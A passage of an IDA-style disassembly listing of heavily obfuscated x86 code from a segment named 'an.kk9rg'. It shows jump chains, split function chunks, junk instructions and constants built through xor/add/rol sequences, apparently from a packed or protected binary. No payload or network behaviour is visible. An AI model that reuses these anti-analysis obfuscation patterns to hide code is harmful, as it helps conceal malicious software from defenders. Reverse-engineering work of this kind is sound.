CODE XREF: an.kk9rg:10015F8Fj mov eax, [ebp-4] jno loc_10015E20 push esi mov esi, edi jmp loc_1001CC07 ; --------------------------------------------------------------------------- loc_10014DA2: ; CODE XREF: an.kk9rg:10016383j push ecx mov ecx, ebp xchg ecx, [esp] mov ebp, esp loc_10014DAA: ; CODE XREF: an.kk9rg:1001953Bj push ecx mov [ebp-4], eax push 122B09C7h jmp loc_100132EC ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_10019571 loc_10014DB8: ; CODE XREF: sub_10019571:loc_10019D76j jz loc_1001C4B8 ; END OF FUNCTION CHUNK FOR sub_10019571 ; START OF FUNCTION CHUNK FOR sub_10016D66 loc_10014DBE: ; CODE XREF: sub_10016D66+4749j jmp loc_1001321D ; END OF FUNCTION CHUNK FOR sub_10016D66 ; --------------------------------------------------------------------------- loc_10014DC3: ; CODE XREF: an.kk9rg:100184A4j jmp locret_1001CA59 ; --------------------------------------------------------------------------- pushf jmp loc_1001C4B0 ; --------------------------------------------------------------------------- adc edi, 0E71C5001h jmp sub_1001B1DD ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_10014DD9 proc near ; CODE XREF: an.kk9rg:loc_10013108p ; an.kk9rg:100188B0p var_4 = dword ptr -4 ; FUNCTION CHUNK AT 100148E5 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 100163CF SIZE 00000011 BYTES ; FUNCTION CHUNK AT 10019A55 SIZE 0000000B BYTES push ebp mov ebp, esp push ecx mov [ebp+var_4], eax push 548C12A8h pop eax or eax, 47287125h xor eax, 0D4F5297Bh jmp loc_10019A55 sub_10014DD9 endp ; sp-analysis failed ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_96. PRESS KEYPAD "+" TO EXPAND] ; =============== S U B R O U T I N E ======================================= sub_10014DF8 proc near ; CODE XREF: an.kk9rg:10019C5Dp push ecx sub_10014DF8 endp ; sp-analysis failed ; START OF FUNCTION CHUNK FOR sub_1001C2D8 loc_10014DF9: ; CODE XREF: sub_1001C2D8:loc_1001ABF0j mov ecx, ebp xchg ecx, [esp+0] call sub_10019571 loc_10014E03: ; CODE XREF: sub_10017CF8+3BA1j jmp loc_1001B0E0 ; END OF FUNCTION CHUNK FOR sub_1001C2D8 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_10018628 loc_10014E08: ; CODE XREF: sub_10018628:loc_10015348j call sub_1001D201 ; END OF FUNCTION CHUNK FOR sub_10018628 ; START OF FUNCTION CHUNK FOR sub_1001A12F loc_10014E0D: ; CODE XREF: sub_1001A12F-837j jmp loc_10015002 ; END OF FUNCTION CHUNK FOR sub_1001A12F ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_10015633 loc_10014E12: ; CODE XREF: sub_10015633:loc_10015638j jmp loc_1001CD07 ; END OF FUNCTION CHUNK FOR sub_10015633 ; =============== S U B R O U T I N E ======================================= sub_10014E17 proc near ; DATA XREF: sub_10017315+4o ; FUNCTION CHUNK AT 10017421 SIZE 00000016 BYTES ; FUNCTION CHUNK AT 10017919 SIZE 00000018 BYTES push 5A304B05h pop edx xor edx, 0B8F13513h add edx, 0B5C2A49Eh add eax, edx pop edx loc_10014E2C: ; CODE XREF: sub_1001492C:loc_1001DF3Bj push edi pushf jmp loc_10017919 sub_10014E17 endp ; sp-analysis failed ; --------------------------------------------------------------------------- loc_10014E33: ; CODE XREF: an.kk9rg:100180AAj jz loc_1001B00C jmp loc_10015E4D ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_1001C547 loc_10014E3E: ; CODE XREF: sub_1001C547:loc_100197FEj or [edx-8], eax jmp loc_1001A2F9 ; END OF FUNCTION CHUNK FOR sub_1001C547 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_10013688 loc_10014E46: ; CODE XREF: sub_10013688+7816j ; sub_1001C547+8j cmp dword ptr [ebp-10h], 1 push offset sub_1001A88A jmp nullsub_69 ; END OF FUNCTION CHUNK FOR sub_10013688 ; --------------------------------------------------------------------------- loc_10014E54: ; CODE XREF: an.kk9rg:loc_100181C7j jnz loc_1001BC20 jmp loc_10014014 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_10015B1B loc_10014E5F: ; CODE XREF: sub_10015B1B+7961j xor ebx, ebp jmp loc_10015CDA ; END OF FUNCTION CHUNK FOR sub_10015B1B ; =============== S U B R O U T I N E ======================================= sub_10014E66 proc near ; CODE XREF: an.kk9rg:10017C42j ; sub_1001B1DD+9p var_4 = dword ptr -4 arg_0 = dword ptr 4 ; FUNCTION CHUNK AT 10014612 SIZE 0000000E BYTES ; FUNCTION CHUNK AT 10015163 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 1001A94C SIZE 0000000B BYTES ; FUNCTION CHUNK AT 1001BC62 SIZE 0000000B BYTES ; FUNCTION CHUNK AT 1001DD40 SIZE 00000005 BYTES xchg ebx, [esp+4+var_4] pop ebx xchg ebp, [esp+0] mov esp, ebp pop ebp mov eax, ds:dword_100185EC or eax, eax jmp loc_10015163 sub_10014E66 endp ; sp-analysis failed ; --------------------------------------------------------------------------- xor ebp, eax ja loc_10015939 jmp sub_10014092 ; --------------------------------------------------------------------------- pop ebp jmp sub_1001BABF ; --------------------------------------------------------------------------- loc_10014E90: ; CODE XREF: an.kk9rg:1001403Aj push edx push ecx mov ecx, esi xchg ecx, [esp] push 368238Ah loc_10014E9C: ; CODE XREF: an.kk9rg:loc_1001AD1Ej pop esi xor esi, 0AA0539FBh rol esi, 0Bh jmp loc_1001CA22 ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_129. PRESS KEYPAD "+" TO EXPAND] ; --------------------------------------------------------------------------- loc_10014EAC: ; CODE XREF: an.kk9rg:1001C64Cj jb loc_10016A3D loc_10014EB2: ; CODE XREF: an.kk9rg:loc_10014790j mov eax, [esp] push offset sub_1001445C jmp loc_1001A3EF ; --------------------------------------------------------------------------- loc_10014EBF: ; CODE XREF: an.kk9rg:10014963j xchg ebp, [eax] sub ebp, eax loc_10014EC3: ; CODE XREF: an.kk9rg:loc_10016FC5j push 1A11A63Eh xchg ebp, [esp] mov eax, ebp pop ebp or eax, 8DBA682Eh add eax, 0F4485F94h jmp loc_10015585 ; --------------------------------------------------------------------------- mov edi, esi jmp sub_10016372 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_10019473 loc_10014EE6: ; CODE XREF: sub_10019473:loc_1001B34Dj jz loc_10014345 ; END OF FUNCTION CHUNK FOR sub_10019473 ; START OF FUNCTION CHUNK FOR sub_1001456F loc_10014EEC: ; CODE XREF: sub_1001456F:loc_1001C8ABj jmp loc_1001562B ; END OF FUNCTION CHUNK FOR sub_1001456F ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_1001893F loc_10014EF1: ; CODE XREF: sub_1001893F-456Dj add esi, 56D9B1C7h xchg esi, [esp+4+var_4] jmp sub_100180C2 ; END OF FUNCTION CHUNK FOR sub_1001893F ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_10019E2E loc_10014EFF: ; CODE XREF: sub_10019E2E-1A2Cj jg loc_1001598E loc_10014F05: ; CODE XREF: sub_10019E2E:loc_1001363Ej mov eax, [ebp-4] call sub_1001D9A7 loc_10014F0D: ; CODE XREF: an.kk9rg:10018ECEj ; an.kk9rg:loc_1001BA92j jmp nullsub_212 ; END OF FUNCTION CHUNK FOR sub_10019E2E ; --------------------------------------------------------------------------- loc_10014F12: ; CODE XREF: an.kk9rg:10016703j jmp locret_10017991 ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_205. PRESS KEYPAD "+" TO EXPAND] ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_1001D4C9 loc_10014F18: ; CODE XREF: sub_1001D4C9-82A5j jmp loc_1001D653 ; END OF FUNCTION CHUNK FOR sub_1001D4C9 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_10019409 loc_10014F1D: ; CODE XREF: sub_10019409+1570j pop ecx adc esi, 0DE4D52B6h jmp loc_100135E2 ; END OF FUNCTION CHUNK FOR sub_10019409 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_10013061 loc_10014F29: ; CODE XREF: sub_10013061:loc_1001728Ej popf mov al, [eax] jns loc_1001D72F sub al, 99h push 16ADD4D9h pop edx jmp loc_1001C9C9 ; END OF FUNCTION CHUNK FOR sub_10013061 ; --------------------------------------------------------------------------- loc_10014F3F: ; CODE XREF: an.kk9rg:loc_100141A3j rol ecx, 5 mov esi, 5F8DB58Ah or ebp, edi loc_10014F49: ; CODE XREF: an.kk9rg:1001AA99j jmp loc_10017DD3 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_1001C6B0 loc_10014F4E: ; CODE XREF: sub_1001C6B0-2B88j mov ecx, [ebx] adc ecx, ebp loc_10014F52: ; CODE XREF: sub_10019030:loc_100176EAj mov eax, [ebp-4] cmp byte ptr [eax], 0F1h jmp loc_1001955E ; END OF FUNCTION CHUNK FOR sub_1001C6B0 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_10016D66 loc_10014F5D: ; CODE XREF: sub_10016D66+32DBj jno loc_1001AD8A loc_10014F63: ; CODE XREF: sub_10016D66:loc_100155FBj mov eax, [ebp-4] cmp byte ptr [eax], 0F1h loc_10014F69: ; CODE XREF: an.kk9rg:loc_10017B64j jnz loc_1001491B jmp loc_10013FE9 ; END OF FUNCTION CHUNK FOR sub_10016D66 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_1001D461 loc_10014F74: ; CODE XREF: sub_1001D461:loc_1001ABF8j jz loc_10016C5D sub al, 99h mov edx, [ebp-4] call sub_10016D04 ; END OF FUNCTION CHUNK FOR sub_1001D461 ; START OF FUNCTION CHUNK FOR sub_10016D66 loc_10014F84: ; CODE XREF: sub_10016D66+5745j jmp nullsub_105 ; END OF FUNCTION CHUNK FOR sub_10016D66 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_10019030 loc_10014F89: ; CODE XREF: an.kk9rg:loc_10015C0Ej ; sub_10019030+482j jmp loc_1001CF09 ; END OF FUNCTION CHUNK FOR sub_10019030 ; --------------------------------------------------------------------------- loc_10014F8E: ; CODE XREF: an.kk9rg:100147BCj jmp loc_1001C888 ; --------------------------------------------------------------------------- loc_10014F93: ; DATA XREF: sub_1001AAB8+12o mov esi, [esi] xchg esi, [esp] push dword ptr [ebp+0Ch] push eax push 5B6944F4h pop eax and eax, 0F8508948h add eax, 0D70BBB2Bh jmp loc_100197B1 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_10019E2E loc_10014FB3: ; CODE XREF: sub_10019E2E+10j xor ebx, 0AED90115h add ebx, ebp add ebx, 0C3F2FF2Ch mov [ebx], eax pop ebx mov eax, [ebp-4] mov al, [eax] js loc_10013255 jmp loc_100176DA ; END OF FUNCTION CHUNK FOR sub_10019E2E ; =============== S U B R O U T I N E ======================================= sub_10014FD4 proc near ; CODE XREF: sub_1001536A:loc_10017588p ; an.kk9rg:10018CB1j arg_0 = dword ptr 4 ; FUNCTION CHUNK AT 1001A1E8 SIZE 00000005 BYTES xchg ebx, [esp+0] pop ebx xchg esi, [esp-4+arg_0] jmp loc_1001A1E8 sub_10014FD4 endp ; sp-analysis failed ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_10015086 loc_10014FE0: ; CODE XREF: sub_10015086+681Ej pop ebx mov esi, ebx shr ecx, 18h jmp loc_1001B681 ; END OF FUNCTION CHUNK FOR sub_10015086 ; --------------------------------------------------------------------------- loc_10014FEB: ; CODE XREF: an.kk9rg:loc_1001434Fj test eax, 80000h jmp loc_10014CC9 ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_62. PRESS KEYPAD "+" TO EXPAND] ; --------------------------------------------------------------------------- loc_10014FF7: ; CODE XREF: an.kk9rg:1001C2D0j jmp locret_10016BBF ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_1001504E loc_10014FFC: ; CODE XREF: sub_1001504E+3F5Aj cdq loc_10014FFD: ; CODE XREF: sub_1001504E:loc_1001B91Fj call sub_10015792 ; END OF FUNCTION CHUNK FOR sub_1001504E ; START OF FUNCTION CHUNK FOR sub_1001A12F loc_10015002: ; CODE XREF: sub_1001A12F:loc_10014E0Dj cmp dword ptr [eax-1Ch], 0F6h jz loc_10016C09 mov eax, [ebp+8] cmp dword ptr [eax-1Ch], 0F7h push offset loc_10016C03 jmp nullsub_112 ; END OF FUNCTION CHUNK FOR sub_1001A12F ; --------------------------------------------------------------------------- mov [ecx], ebp jmp sub_100130C7 ; --------------------------------------------------------------------------- loc_1001502A: ; DATA XREF: an.kk9rg:10014CACo xchg esi, [esp] mov eax, [ebp-8] loc_10015030: ; CODE XREF: an.kk9rg:1001A083j push ebp mov ebp, eax xchg ebp, [esp] jmp loc_1001ACB9 ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_107. PRESS KEYPAD "+" TO EXPAND] ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_10017394 loc_1001503C: ; CODE XREF: sub_10017394+120Fj push 5731CEE3h adc ebp, 24DDE0AAh cmp eax, ecx jmp loc_1001DE0C ; END OF FUNCTION CHUNK FOR sub_10017394 ; =============== S U B R O U T I N E ======================================= sub_1001504E proc near ; CODE XREF: sub_10019595+Bp ; an.kk9rg:1001C204j ; FUNCTION CHUNK AT 100147E3 SIZE 00000023 BYTES ; FUNCTION CHUNK AT 10014FFC SIZE 00000006 BYTES ; FUNCTION CHUNK AT 10015AF2 SIZE 0000000B BYTES ; FUNCTION CHUNK AT 100178FF SIZE 00000013 BYTES ; FUNCTION CHUNK AT 10018037 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 10018378 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 10018FA6 SIZE 00000007 BYTES ; FUNCTION CHUNK AT 10019838 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 100198AC SIZE 00000005 BYTES ; FUNCTION CHUNK AT 10019F64 SIZE 0000000B BYTES ; FUNCTION CHUNK AT 1001AF5D SIZE 00000015 BYTES ; FUNCTION CHUNK AT 1001B91F SIZE 0000000B BYTES ; FUNCTION CHUNK AT 1001C611 SIZE 00000007 BYTES ; FUNCTION CHUNK AT 1001CE84 SIZE 0000000D BYTES ; FUNCTION CHUNK AT 1001DC35 SIZE 00000014 BYTES xchg edi, [esp+0] pop edi sub al, 99h mov edx, [ebp-4] call sub_10018798 loc_1001505C: ; CODE XREF: an.kk9rg:100180FBj jmp loc_1001AF5D sub_1001504E endp ; sp-analysis failed ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_10015E0D loc_10015061: ; CODE XREF: sub_10015E0D+1C22j jmp loc_10016CBF ; END OF FUNCTION CHUNK FOR sub_10015E0D ; =============== S U B R O U T I N E ======================================= sub_10015066 proc near ; DATA XREF: sub_1001BC80:loc_10017D5Eo ; FUNCTION CHUNK AT 10013B47 SIZE 0000001A BYTES ; FUNCTION CHUNK AT 1001580D SIZE 0000001A BYTES ; FUNCTION CHUNK AT 10016799 SIZE 00000006 BYTES ; FUNCTION CHUNK AT 10016E08 SIZE 0000001F BYTES ; FUNCTION CHUNK AT 10017513 SIZE 0000000B BYTES ; FUNCTION CHUNK AT 1001801D SIZE 00000005 BYTES ; FUNCTION CHUNK AT 1001850B SIZE 0000000E BYTES ; FUNCTION CHUNK AT 10018B2C SIZE 00000013 BYTES ; FUNCTION CHUNK AT 1001B1AD SIZE 00000005 BYTES ; FUNCTION CHUNK AT 1001D353 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 1001D719 SIZE 0000000E BYTES ; FUNCTION CHUNK AT 1001DBA4 SIZE 00000013 BYTES push 0F6CC837Bh pop eax add eax, 744C1722h jb loc_10013B47 rol ebx, 0Bh test eax, 13715FB6h jmp loc_10016799 sub_10015066 endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= sub_10015086 proc near ; CODE XREF: sub_10013389+5FB7j arg_0 = dword ptr 4 ; FUNCTION CHUNK AT 100137F6 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 10013B61 SIZE 00000016 BYTES ; FUNCTION CHUNK AT 10014FE0 SIZE 0000000B BYTES ; FUNCTION CHUNK AT 100159CC SIZE 0000000C BYTES ; FUNCTION CHUNK AT 10015DFD SIZE 00000005 BYTES ; FUNCTION CHUNK AT 100162CF SIZE 00000011 BYTES ; FUNCTION CHUNK AT 1001699B SIZE 0000000B BYTES ; FUNCTION CHUNK AT 10017D3C SIZE 0000000E BYTES ; FUNCTION CHUNK AT 10018086 SIZE 0000000D BYTES ; FUNCTION CHUNK AT 100186CD SIZE 00000008 BYTES ; FUNCTION CHUNK AT 100188D5 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 100196EB SIZE 00000012 BYTES ; FUNCTION CHUNK AT 1001B681 SIZE 00000011 BYTES ; FUNCTION CHUNK AT 1001B713 SIZE 0000000E BYTES ; FUNCTION CHUNK AT 1001B89E SIZE 0000000B BYTES push ebx jb loc_100159CC pushf push esi sub_10015086 endp ; sp-analysis failed ; START OF FUNCTION CHUNK FOR sub_10013389 loc_1001508F: ; CODE XREF: sub_10013389:loc_10013473j call sub_100180C2 mov edx, 19CFC62Bh call sub_1001534D push eax jmp loc_1001547A ; END OF FUNCTION CHUNK FOR sub_10013389 ; =============== S U B R O U T I N E ======================================= sub_100150A4 proc near ; DATA XREF: sub_100182D9:loc_10016556o ; FUNCTION CHUNK AT 1001654E SIZE 00000003 BYTES ; FUNCTION CHUNK AT 10017048 SIZE 00000009 BYTES ; FUNCTION CHUNK AT 1001A62B SIZE 00000005 BYTES xor eax, eax mov [ebp-8], eax jmp loc_1001A62B sub_100150A4 endp ; sp-analysis failed ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_10018C76 loc_100150AE: ; CODE XREF: sub_10018C76+8j test byte ptr [ebp-8], 8 jz loc_1001601E jmp loc_1001A1E3 ; END OF FUNCTION CHUNK FOR sub_10018C76 ; =============== S U B R O U T I N E ======================================= sub_100150BD proc near ; DATA XREF: an.kk9rg:10016842o var_4 = dword ptr -4 ; FUNCTION CHUNK AT 10016699 SIZE 00000006 BYTES ; FUNCTION CHUNK AT 10016EC9 SIZE 0000001C BYTES push 8906AA6Bh xchg ecx, [esp+4+var_4] mov edx, ecx pop ecx sub edx, 31D0B5FFh test edx, 1000h jmp loc_10016699 sub_100150BD endp ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_1001456F loc_100150D9: ; CODE XREF: sub_1001456F:loc_1001562Bj and ecx, ebx ; END OF FUNCTION CHUNK FOR sub_1001456F ; START OF FUNCTION CHUNK FOR sub_10013389 loc_100150DB: ; CODE XREF: sub_10013389:loc_10017195j popf jmp loc_10014345 ; END OF FUNCTION CHUNK FOR sub_10013389 ; =============== S U B R O U T I N E ======================================= sub_100150E1 proc near ; DATA XREF: sub_1001B010:loc_100146D2o var_4 = dword ptr -4 ; FUNCTION CHUNK AT 100156EF SIZE 0000000E BYTES push ecx push 3328B816h pop ecx add ecx, 9BE8B631h and ecx, 0D4F5638Eh rol ecx, 17h xor ecx, 5E0A3691h jmp loc_100156EF sub_100150E1 endp ; --------------------------------------------------------------------------- locret_10015102: ; CODE XREF: an.kk9rg:loc_10017057j retn ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_10018E91 loc_10015103: ; CODE XREF: sub_10018E91+Ej jmp nullsub_41 ; END OF FUNCTION CHUNK FOR sub_10018E91 ; --------------------------------------------------------------------------- loc_10015108: ; CODE XREF: an.kk9rg:1001DD60j ja loc_100178E2 adc edi, ebp shr eax, 1Ah ; START OF FUNCTION CHUNK FOR sub_1001BBDA loc_10015113: ; CODE XREF: sub_1001BBDA:loc_1001DD51j add eax, 0F8F165BDh call sub_1001A2CC ; END OF FUNCTION CHUNK FOR sub_1001BBDA ; START OF FUNCTION CHUNK FOR sub_1001B096 loc_1001511E: ; CODE XREF: sub_1001B096+16j jmp loc_10015766 ; END OF FUNCTION CHUNK FOR sub_1001B096 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_100138FD loc_10015123: ; CODE XREF: sub_100138FD+14j jmp loc_10018B14 ; END OF FUNCTION CHUNK FOR sub_100138FD ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_1001C28F loc_10015128: ; CODE XREF: sub_1001C28F:loc_1001C3F2j popf xchg eax, [esp+0] jmp loc_1001B1A8 ; END OF FUNCTION CHUNK FOR sub_1001C28F ; =============== S U B R O U T I N E ======================================= sub_10015131 proc near ; CODE XREF: sub_1001A7CFp ; an.kk9rg:1001AFBCj ; FUNCTION CHUNK AT 100141C8 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 100151D0 SIZE 00000008 BYTES ; FUNCTION CHUNK AT 100158AD SIZE 00000014 BYTES ; FUNCTION CHUNK AT 100169B0 SIZE 0000000B BYTES ; FUNCTION CHUNK AT 10019E70 SIZE 0000001A BYTES ; FUNCTION CHUNK AT 1001DA19 SIZE 0000000B BYTES xchg edx, [esp+0] pop edx push ebp mov ebp, esp add esp, 0FFFFFFF4h mov [ebp-4], eax mov eax, [ebp-4] jmp loc_100158AD sub_10015131 endp ; sp-analysis failed ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_10014CDF loc_10015146: ; CODE XREF: sub_10014CDF+6574j and ebx, edx loc_10015148: ; CODE XREF: sub_10014CDF:loc_1001B94Bj push eax push 0E4015E7Fh pop eax loc_1001514F: ; CODE XREF: an.kk9rg:loc_10018987j jmp loc_10016616 ; END OF FUNCTION CHUNK FOR sub_10014CDF ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_10013BB8 loc_10015154: ; CODE XREF: sub_10013BB8:loc_10013BBFj cmp dword ptr [eax], 0FFFFFFFFh mov ebx, [eax+4] mov eax, [eax] jnz loc_10013BBF retn ; END OF FUNCTION CHUNK FOR sub_10013BB8 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_10014E66 loc_10015163: ; CODE XREF: sub_10014E66+12j jmp loc_1001A94C ; END OF FUNCTION CHUNK FOR sub_10014E66 ; =============== S U B R O U T I N E ======================================= sub_10015168 proc near ; CODE XREF: sub_10018ABA+Cp ; FUNCTION CHUNK AT 10018B45 SIZE 00000005 BYTES push ebx push offset loc_1001907F jmp loc_10018B45 sub_10015168 endp ; --------------------------------------------------------------------------- mov [ecx], ebp jmp sub_1001B319 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_1001C535 loc_1001517A: ; CODE XREF: sub_1001C535+Cj jnz loc_100165A1 jmp loc_1001903C ; END OF FUNCTION CHUNK FOR sub_1001C535 ; --------------------------------------------------------------------------- and edx, 393D42F2h jmp sub_1001B8D3 ; =============== S U B R O U T I N E ======================================= sub_10015190 proc near ; CODE XREF: sub_10019409-2551p ; an.kk9rg:1001A0E7j ; FUNCTION CHUNK AT 10019868 SIZE 00000012 BYTES xchg esi, [esp+0] pop esi mov eax, [ebp-8] mov al, [eax] add [ebp-0Ah], al jmp loc_10019868 sub_10015190 endp ; sp-analysis failed ; --------------------------------------------------------------------------- xchg ecx, [edx] ; START OF FUNCTION CHUNK FOR sub_10013389 loc_100151A3: ; CODE XREF: sub_10013389:loc_1001D104j jmp sub_1001C619 ; END OF FUNCTION CHUNK FOR sub_10013389 ; --------------------------------------------------------------------------- loc_100151A8: ; CODE XREF: an.kk9rg:loc_1001A39Ej jz loc_1001C484 jmp loc_1001A764 ; --------------------------------------------------------------------------- loc_100151B3: ; CODE XREF: an.kk9rg:1001C58Fj push 32AC7462h xchg ebp, [esp] mov edi, ebp pop ebp jmp loc_10017259 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_1001B5A3 loc_100151C3: ; CODE XREF: sub_1001B5A3-82A8j xor ebx, eax pop ebx loc_100151C6: ; CODE XREF: sub_1001B5A3:loc_1001420Bj mov eax, 27C79277h jmp loc_1001A38C ; END OF FUNCTION CHUNK FOR sub_1001B5A3 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_10015131 loc_100151D0: ; CODE XREF: sub_10015131+1885j rol ebp, 0Bh jmp loc_10019E70 ; END OF FUNCTION CHUNK FOR sub_10015131 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_1001603C loc_100151D8: ; CODE XREF: sub_1001603C:loc_100159B6j sub ebx, 0D5C49452h xor ebx, 8A3C2CD5h add ebx, 34161F19h xchg ebx, [esp+0] jmp sub_100181E1 ; END OF FUNCTION CHUNK FOR sub_1001603C ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_94. PRESS KEYPAD "+" TO EXPAND] ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_1001AA84 loc_100151F3: ; CODE XREF: sub_1001AA84+3j jmp loc_1001B8A9 ; END OF FUNCTION CHUNK FOR sub_1001AA84 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_10013389 loc_100151F8: ; CODE XREF: sub_10013389+43FFj jmp loc_100193BC ; END OF FUNCTION CHUNK FOR sub_10013389 ; =============== S U B R O U T I N E ======================================= sub_100151FD proc near ; DATA XREF: sub_1001701B-CB3o ; FUNCTION CHUNK AT 10018AED SIZE 00000009 BYTES ; FUNCTION CHUNK AT 1001D4AD SIZE 00000005 BYTES ; FUNCTION CHUNK AT 1001D70E SIZE 0000000B BYTES sub al, 99h mov edx, [ebp-4] imul byte ptr [edx] cmp al, 0A4h jz loc_10016F60 jmp loc_1001D4AD sub_100151FD endp ; sp-analysis failed ; --------------------------------------------------------------------------- loc_10015211: ; CODE XREF: an.kk9rg:loc_10015D99j mov edi, [ecx] pushf cmp ebx, ebp jmp loc_100144D5 ; --------------------------------------------------------------------------- loc_1001521B: ; DATA XREF: sub_1001D4C9+12o pop ebp retn ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_1001D4C9 loc_1001521D: ; CODE XREF: sub_1001D4C9+4j mov eax, [ebp+8] cmp dword ptr [eax-0Ch], 4 jmp loc_10014F18 ; END OF FUNCTION CHUNK FOR sub_1001D4C9 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_10016167 loc_10015229: ; CODE XREF: sub_10016167:loc_1001C4E0j xor ecx, esi rol ecx, 10h jmp loc_1001C8E1 ; END OF FUNCTION CHUNK FOR sub_10016167 ; --------------------------------------------------------------------------- add eax, ecx js loc_1001AFA4 jmp sub_1001C26A ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_10013389 loc_10015240: ; CODE XREF: sub_10013389:loc_1001D7AFj push 0EB7E9292h pop ebx add ebx, 0CFD424B1h xor ebx, 0A344E93Ch add ebx, ebp add ebx, 0E7E9A171h mov [ebx], eax loc_1001525C: ; CODE XREF: sub_10015B1B:loc_10013274j jmp loc_1001CB43 ; END OF FUNCTION CHUNK FOR sub_10013389 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_100136D7 loc_10015261: ; CODE XREF: sub_100136D7+162Dj jnz loc_10016CAC adc ebx, eax jmp loc_1001B029 ; END OF FUNCTION CHUNK FOR sub_100136D7 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_10015D9E loc_1001526E: ; CODE XREF: sub_10015D9E+A1Cj ja loc_1001D417 xor ecx, ebp ; END OF FUNCTION CHUNK FOR sub_10015D9E ; =============== S U B R O U T I N E ======================================= sub_10015276 proc near ; CODE XREF: sub_10015D9E:loc_10018D57j var_8 = dword ptr -8 var_4 = dword ptr -4 ; FUNCTION CHUNK AT 10015660 SIZE 00000006 BYTES ; FUNCTION CHUNK AT 100187AC SIZE 00000005 BYTES ; FUNCTION CHUNK AT 10019958 SIZE 0000000B BYTES ; FUNCTION CHUNK AT 1001DB82 SIZE 00000017 BYTES push ebp mov ebp, eax xchg ebp, [esp+4+var_4] push 5DF866D1h xchg edi, [esp+8+var_8] add eax, 0DDB95CFDh jmp loc_1001DB82 sub_10015276 endp ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_10016D66 loc_1001528F: ; CODE XREF: sub_10016D66:loc_100195BBj push 8C53EC41h pop ebx xor ebx, 0CFCF7CADh and ebx, 3EE354F9h jns loc_1001D991 ; END OF FUNCTION CHUNK FOR sub_10016D66 ; START OF FUNCTION CHUNK FOR sub_1001564A loc_100152A7: ; CODE XREF: sub_1001564A+539Bj jmp loc_1001A529 ; END OF FUNCTION CHUNK FOR sub_1001564A ; --------------------------------------------------------------------------- adc edx, ecx jmp loc_1001D98B ; --------------------------------------------------------------------------- loc_100152B3: ; CODE XREF: an.kk9rg:10014218j jl loc_10018C2F ; =============== S U B R O U T I N E ======================================= sub_100152B9 proc near ; CODE XREF: sub_10013389+2F74p xchg edi, [esp+0] pop edi pop ebp retn sub_100152B9 endp ; sp-analysis failed ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_1001DE48 loc_100152BF: ; CODE XREF: sub_1001DE48-7B59j mov eax, [ebp+8] jmp loc_100134D7 ; END OF FUNCTION CHUNK FOR sub_1001DE48 ; =============== S U B R O U T I N E ======================================= sub_100152C7 proc near ; CODE XREF: sub_10018E79:loc_1001610Bp ; an.kk9rg:10019D25j ; FUNCTION CHUNK AT 1001A59C SIZE 00000005 BYTES ; FUNCTION CHUNK AT 1001AFC1 SIZE 0000000E BYTES ; FUNCTION CHUNK AT 1001B4F8 SIZE 0000000B BYTES 